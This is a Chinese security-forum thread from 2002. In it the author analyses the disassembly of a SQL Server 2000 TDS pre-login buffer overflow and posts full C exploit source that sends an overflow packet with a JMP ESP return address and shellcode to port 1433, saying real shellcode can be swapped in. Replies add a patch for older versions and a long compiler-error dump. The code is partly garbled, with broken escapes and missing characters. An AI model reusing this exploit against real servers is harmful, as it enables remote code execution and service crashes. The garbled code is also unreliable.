自上次被isno指教了一翻,这几天开始用汇编看sqlserver的代码,发现SQLSERVER的1433TDS协议中,0X12号命令(请求验证)存在一个溢出问题,在传送最后的MSSQLSERVER后面跟上572个以上的字节会导致溢出,心里一喜,但吸取上次教训,一查,发现8月12这个漏洞已经被公告。哎
但是一看,公告代码只指出溢出,但是未实现溢出,仔细一看,要实现这个溢出还是很麻烦的,涉及到很多问题:
下面是汇编代码分析:
前面接受信息的大致流程:
请求
text:004DE099callsub_410E22
.text:00410ED3calldwordptr[eax+14h]
调用ssnetlib的获取异步socket到来的信息
42CF42F2:连接并接收信息
.text:00410ED6addesp,18h
处理数据:
42cf719e处调用,下个返回地址应该是42cf71a3,溢出就是要覆盖这个返回地址
溢出产生在:42cf72cf处的strcpy上
但是其中问题存在于:strcpy拷贝的地址离42cf71a3的地址有572个字节,其中存在很多其他变量的指针,如果随便覆盖掉的话,在这个子过程中会继续引用他们,那么就引起访问违例,直接被异常给捕获了,而无法达到执行代码的目的,而其其过程是一个循环执行过程,会导致很复杂的计算。
涉及到的需要继续引用覆盖地址值的代码有:
.text:42CF73D9movedx,[ebp+var_4]
.text:42CF73DCaddedx,5
.text:42CF73DFmov[ebp+var_4],edx
.text:42CF7263movedx,[ebp+arg_4]
.text:42CF7266addedx,[ebp+var_4]
.text:42CF7269xoreax,eax
.text:42CF726Bmoval,[edx]
.text:42CF726Dmov[ebp+var_14],eax
.text:42CF7270movecx,[ebp+arg_4]
.text:42CF7320mov[ebp+var_224],ecx
.text:42CF7326movedx,[ebp+arg_0]
.text:42CF7329moveax,[ebp+var_224]
.text:42CF732Fmovecx,[eax]
可以发现以上值主要是涉及到
要覆盖地址-8
要覆盖地址+4
要覆盖地址+8
要覆盖地址+C
要覆盖地址+10
要覆盖地址+14
这几个地址上,而且主要是写操作
并且要覆盖地址-4会和要覆盖地址+4会进行一次加操作,其操作的地址范围也应该为可读写。
因此很容易想到,用SQLSERVER固定分配的某个数据区的地址取带该区就不会引起异常了。而要覆盖地址-4最好为0xffffffff左右的值,其他地址加上这个值也在一个数据区范围以内,问题就不大要覆盖地址+4,要覆盖地址+8,要覆盖地址+C,要覆盖地址+10,要覆盖地址+14的值要仔细选取,因为JMPESP跳回来以后正好在从要覆盖地址+4处开始执行,需要其汇编代码不能引起异常和跳转到其他地方去,否则就无法执行我们真正能实现的shellcode了。
另外就是如果shellcode全部放在要覆盖地址+18后执行也有问题,其中可能在同一个过程中会用到其中的值,因此把shellcode最好放在前面,在覆盖地址+18后用少量的代码跳转回去,避免大量覆盖引起异常。
另外就是jmpesp代码的选择,其实不同服务器版本地址不同,但是我想在SQLSERVER代码本身中找更好。只要存在一个ffe4数字就可,不管是不是真的jmpesp代码,这样shellcode可以更简单,也更通用一些,仔细一看,sqlserver中还真有这个组合,位置在42B0C9DC处。OK,那么主要问题就搞定了
我的环境是:sqlserver2000+sp2+最新的补掉sqlserverudp漏洞的q36几几的。
下面是演示代码,其中没有实现真正的shellcode,而是实现了打印了一行sqlhackdemo,并且当掉了SQLSERVER服务器,其实只要把其中代码置换成shellcode就可以了,当然需要考虑大小问题,如果放在后面可以不考虑大小,但是可能会引起一些异常,我没仔细调试,放在前面许可的长度大概有500多字节左右,做SHELLCODE也应该足够了。
大家在cmd下运行sqlsvrer可以看到打印出的sqlhackdemo字符,并且SQL当掉,如果是服务或管理工具启动,则无法打印sqlhackdemo,但SQL会当掉,注意此处当掉不是因为异常,而是执行了shellcode的exit导致的。
#include
#include
#include
#include
#include
#include
intmain(intargc,char*argv[])
{
WSADATAWSAData;
SOCKETsock;
SOCKADDR_INaddr_in;
unsignedcharbuf0[48+572]={
0x12,1,0,0x34,0,0,0,0,0,0,0x15,0,6,1,0,0x1b,
0,1,2,0,0x1c,0,0xc,3,0,0x28,0,4,0xff,8,0,2,
0x10,0,0,0,0x4d,0x53,0x53,0x51,0x4c,0x53,0x65,0x72,0x76,0x65,0x72,1,0x10,4,1,1};
unsignedcharbuf1[255]={10,9,8,7,6,5,4,3,2,1,0};
charexploit_code[21]=\"\\x83\\xc4\\x81\\x8b\\xc4\\x50\\xff\\x15\\xf8\\xe0\\xcf\\x42\"
\"\\x33\\xc0\\x50\\xff\\x15\\x84\\xe0\\xcf\\x42\";
//这个是打印\"sqlhackdemo\"并退出sqlserver的shellcode代码
inti;
intlen;
constintSNDBUF=0;
constintTCPNODELAY=TRUE;
constintBROADCAST=TRUE;
intfo=572;//需要覆盖的返回地址偏移处
if(argc<2)
{
returnFALSE;
}
for(i=0x34;i<584;i++)
buf0[i]=0x90;
//示范打印的字符串
buf0[0x34+0x10]=\'s\';
buf0[0x34+0x11]=\'q\';
buf0[0x34+0x12]=\'l\';
buf0[0x34+0x13]=\'\';
buf0[0x34+0x14]=\'h\';
buf0[0x34+0x15]=\'a\';
buf0[0x34+0x16]=\'c\';
buf0[0x34+0x17]=\'k\';
buf0[0x34+0x18]=\'\';
buf0[0x34+0x19]=\'d\';
buf0[0x34+0x1a]=\'e\';
buf0[0x34+0x1b]=\'m\';
buf0[0x34+0x1c]=\'o\';
buf0[0x34+0x1d]=\'\\n\';
//防止数据改动引起异常而退出而无法实现有效溢出,因此进行有效修改
buf0[fo-0x8]=0xff;
buf0[fo-0x7]=0xff;
buf0[fo-0x6]=0xff;
buf0[fo-0x5]=0xff;
//42D01CFC为SQLSERVER固定的数据区域,且其汇编代码不引起问题
buf0[fo+4]=0xfc;
buf0[fo+5]=0x1c;
buf0[fo+6]=0xd0;
buf0[fo+7]=0x42;
//42d01c72为固定的数据区域才能可写
buf0[fo+8]=0x64;
buf0[fo+9]=0x0d;
buf0[fo+0xa]=0xd0;
buf0[fo+0xb]=0x42;
//42D01CFC为固定的数据区域才能可写
buf0[fo+0xc]=0xfc;
buf0[fo+0xd]=0x1c;
buf0[fo+0xe]=0xd0;
buf0[fo+0xf]=0x42;
//42d01c72为固定的数据区域才能可写
buf0[fo+0x10]=0x64;
buf0[fo+0x11]=0x0d;
buf0[fo+0x12]=0xd0;
buf0[fo+0x13]=0x42;
//42d01c72为固定的数据区域才能可写
buf0[fo+0x14]=0x64;
buf0[fo+0x15]=0x0d;
buf0[fo+0x16]=0xd0;
buf0[fo+0x17]=0x42;
//在溢出了返回地址后,由于其中的N个代码需要返回后跳转、而此处由在子函数中需要处理,因此寻找一个数据地址放入,同时使得其汇编代码不引起访问异常。
//然后下面的几个地址是在此过程中不需要使用的,因此可以大胆修改成我们需要的汇编代码了
//写入跳回去的代码buf0[fo+0xc]=0x42;
buf0[fo+0x18]=0x81;
//ADDESP,0XFFFFFF92
buf0[fo+0x19]=0x83;
buf0[fo+0x1a]=0xc4;
buf0[fo+0x1b]=0x81;
//ADDESP,0XFFFFFF92
buf0[fo+0x1C]=0x83;
buf0[fo+0x1D]=0xc4;
buf0[fo+0x1E]=0x81;
//ADDESP,0XFFFFFF92
buf0[fo+0x1f]=0x83;
buf0[fo+0x20]=0xc4;
buf0[fo+0x21]=0x81;
//JMPESP
buf0[fo+0x22]=0xff;
buf0[fo+0x23]=0xe4;
//以上代码在溢出返回后执行,由于主要的shellcode防在前面,需要跳转回去
//不直接放在后面的原因在于:覆盖了后面的一些变量,会导致提前出现地址访问异常,导致无法达到执行我们想要代码的目的
memcpy(buf0+fo-8-364,exploit_code,21);
//拷贝SHELLCODE
//FFE4=JMPESP
//设置溢出地址的值,42B0C9DC是SQLSERVER本身代码有的FFE4地方
buf0[fo]=0xDC;
buf0[fo+1]=0xC9;
buf0[fo+2]=0xB0;
buf0[fo+3]=0x42;
//需要找到JMPESP的代码,然而这个是随版本变化的,所以干脆在SQLSERVER程序中找,只要组合成这个就可
if(WSAStartup(MAKEWORD(2,0),&;WSAData)!=0)
{
printf(\"WSAStartuperror.Error:%d\\n\",WSAGetLastError());
returnFALSE;
}
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
{
printf(\"Socketfailed.Error:%d\\n\",WSAGetLastError());
returnFALSE;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(1433);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
buf0[1]=1;
if(WSAConnect(sock,(structsockaddr*)&;addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
printf(\"Connectfailed.Error:%d\",WSAGetLastError());
returnFALSE;
}
if(send(sock,buf0,sizeof(buf0),0)==SOCKET_ERROR)
{
printf(\"Sendfailed.Error:%d\\n\",WSAGetLastError());
returnFALSE;
}
len=recv(sock,buf1,255,NULL);
for(i=0;i {
printf(\"%02x\",buf1[i]);
if(i%16==15)
printf(\"\\n\");
}
printf(\"\\n\");
buf0[0]=0x10;
if(send(sock,buf0,sizeof(buf0),0)==SOCKET_ERROR)
{
printf(\"Sendfailed.Error:%d\\n\",WSAGetLastError());
returnFALSE;
}
WSACleanup();
return0;
}
哦!我就这些无知的东西,如果你希望你后悔就来吧!
闪空家园
--------------------------------------------------------------------------------
回应人:youzulin发表日期:2002-09-1411:10:07
不错。我转到我论坛去了。hhh4.yeah.net大家有空也来玩玩
--------------------------------------------------------------------------------
回应人:shensonkind发表日期:2002-09-1411:57:24
编译出现如下错误?:
E:\szj\sqlhack\aqlhack.cpp(19):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(19):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(20):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(20):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(22):errorC2117:'\x83\xc4\x81\x8b\xc4\x50\xff\x15\xf8\xe0\xcf\x42"\x33\xc0\x50\xff\x15\x84\xe0\xcf\x42"};':arrayboundsoverflow
E:\szj\sqlhack\aqlhack.cpp(22):errorC2062:type'int'unexpected
E:\szj\sqlhack\aqlhack.cpp(32):errorC2065:'i':undeclaredidentifier
E:\szj\sqlhack\aqlhack.cpp(35):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(35):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(36):warningC4305:'=':truncationfrom'constint'to'unsignedchar'
E:\szj\sqlhack\aqlhack.cpp(36):warningC4309:'=':truncationofconstantvalue
E:\szj\sqlhack\aqlhack.cpp(36):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(36):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(36):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(37):warningC4305:'=':truncationfrom'constint'to'unsignedchar'
E:\szj\sqlhack\aqlhack.cpp(37):warningC4309:'=':truncationofconstantvalue
E:\szj\sqlhack\aqlhack.cpp(37):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(37):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(37):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(38):warningC4305:'=':truncationfrom'constint'to'unsignedchar'
E:\szj\sqlhack\aqlhack.cpp(38):warningC4309:'=':truncationofconstantvalue
E:\szj\sqlhack\aqlhack.cpp(38):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(38):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(38):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(39):warningC4305:'=':truncationfrom'constint'to'unsignedchar'
E:\szj\sqlhack\aqlhack.cpp(39):warningC4309:'=':truncationofconstantvalue
E:\szj\sqlhack\aqlhack.cpp(39):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(39):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(39):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(40):warningC4305:'=':truncationfrom'constint'to'unsignedchar'
E:\szj\sqlhack\aqlhack.cpp(40):warningC4309:'=':truncationofconstantvalue
E:\szj\sqlhack\aqlhack.cpp(40):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(40):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(40):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(41):warningC4305:'=':truncationfrom'constint'to'unsignedchar'
E:\szj\sqlhack\aqlhack.cpp(41):warningC4309:'=':truncationofconstantvalue
E:\szj\sqlhack\aqlhack.cpp(41):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(41):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(41):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(42):warningC4305:'=':truncationfrom'constint'to'unsignedchar'
E:\szj\sqlhack\aqlhack.cpp(42):warningC4309:'=':truncationofconstantvalue
E:\szj\sqlhack\aqlhack.cpp(42):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(42):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(42):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(43):warningC4305:'=':truncationfrom'constint'to'unsignedchar'
E:\szj\sqlhack\aqlhack.cpp(43):warningC4309:'=':truncationofconstantvalue
E:\szj\sqlhack\aqlhack.cpp(43):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(43):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(43):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(44):warningC4305:'=':truncationfrom'constint'to'unsignedchar'
E:\szj\sqlhack\aqlhack.cpp(44):warningC4309:'=':truncationofconstantvalue
E:\szj\sqlhack\aqlhack.cpp(44):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(44):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(44):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(45):warningC4305:'=':truncationfrom'constint'to'unsignedchar'
E:\szj\sqlhack\aqlhack.cpp(45):warningC4309:'=':truncationofconstantvalue
E:\szj\sqlhack\aqlhack.cpp(45):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(45):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(45):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(46):warningC4305:'=':truncationfrom'constint'to'unsignedchar'
E:\szj\sqlhack\aqlhack.cpp(46):warningC4309:'=':truncationofconstantvalue
E:\szj\sqlhack\aqlhack.cpp(46):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(46):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(46):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(47):warningC4305:'=':truncationfrom'constint'to'unsignedchar'
E:\szj\sqlhack\aqlhack.cpp(47):warningC4309:'=':truncationofconstantvalue
E:\szj\sqlhack\aqlhack.cpp(47):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(47):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(47):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(48):warningC4305:'=':truncationfrom'constint'to'unsignedchar'
E:\szj\sqlhack\aqlhack.cpp(48):warningC4309:'=':truncationofconstantvalue
E:\szj\sqlhack\aqlhack.cpp(48):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(48):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(48):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(48):errorC2015:toomanycharactersinconstant
E:\szj\sqlhack\aqlhack.cpp(51):errorC2146:syntaxerror:missing';'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(116):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(116):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(117):errorC2143:syntaxerror:missing')'before'return'
E:\szj\sqlhack\aqlhack.cpp(121):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(121):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(122):errorC2143:syntaxerror:missing')'before'return'
E:\szj\sqlhack\aqlhack.cpp(131):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(131):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(132):errorC2143:syntaxerror:missing')'before'return'
E:\szj\sqlhack\aqlhack.cpp(134):errorC2664:'send':cannotconvertparameter2from'unsignedchar[620]'to'constchar*'
Typespointedtoareunrelated;conversionrequiresreinterpret_cast,C-stylecastorfunction-stylecast
E:\szj\sqlhack\aqlhack.cpp(136):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(136):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(137):errorC2143:syntaxerror:missing')'before'return'
E:\szj\sqlhack\aqlhack.cpp(140):errorC2664:'recv':cannotconvertparameter2from'unsignedchar[255]'to'char*'
Typespointedtoareunrelated;conversionrequiresreinterpret_cast,C-stylecastorfunction-stylecast
E:\szj\sqlhack\aqlhack.cpp(143):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(143):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(144):errorC2143:syntaxerror:missing')'before'if'
E:\szj\sqlhack\aqlhack.cpp(145):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(145):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(146):errorC2143:syntaxerror:missing')'before'}'
E:\szj\sqlhack\aqlhack.cpp(147):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(147):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(148):errorC2146:syntaxerror:missing')'beforeidentifier'buf0'
E:\szj\sqlhack\aqlhack.cpp(149):errorC2664:'send':cannotconvertparameter2from'unsignedchar[620]'to'constchar*'
Typespointedtoareunrelated;conversionrequiresreinterpret_cast,C-stylecastorfunction-stylecast
E:\szj\sqlhack\aqlhack.cpp(151):errorC2017:illegalescapesequence
E:\szj\sqlhack\aqlhack.cpp(151):errorC2001:newlineinconstant
E:\szj\sqlhack\aqlhack.cpp(152):errorC2143:syntaxerror:missing')'before'return'
Errorexecutingcl.exe.
sqlhack.exe-77error(s),26warning(s)
--------------------------------------------------------------------------------
回应人:flashsky发表日期:2002-09-1415:58:53
做如下修改可以在老的ssnetlib上进行演示
//老版本的演示SHELLCODE
charexploit_code<21>="\x83\xc4\x81\x8b\xc4\x50\xff\x15\xc0\xf0\xcf\x42"
"\x33\xc0\x50\xff\x15\x8c\xf0\xcf\x42";
buf0=0xfc;
buf0=0x2c;
buf0=0xd0;
buf0=0x42;
buf0=0xfc;
buf0=0x2c;
buf0=0xce;
buf0=0x42;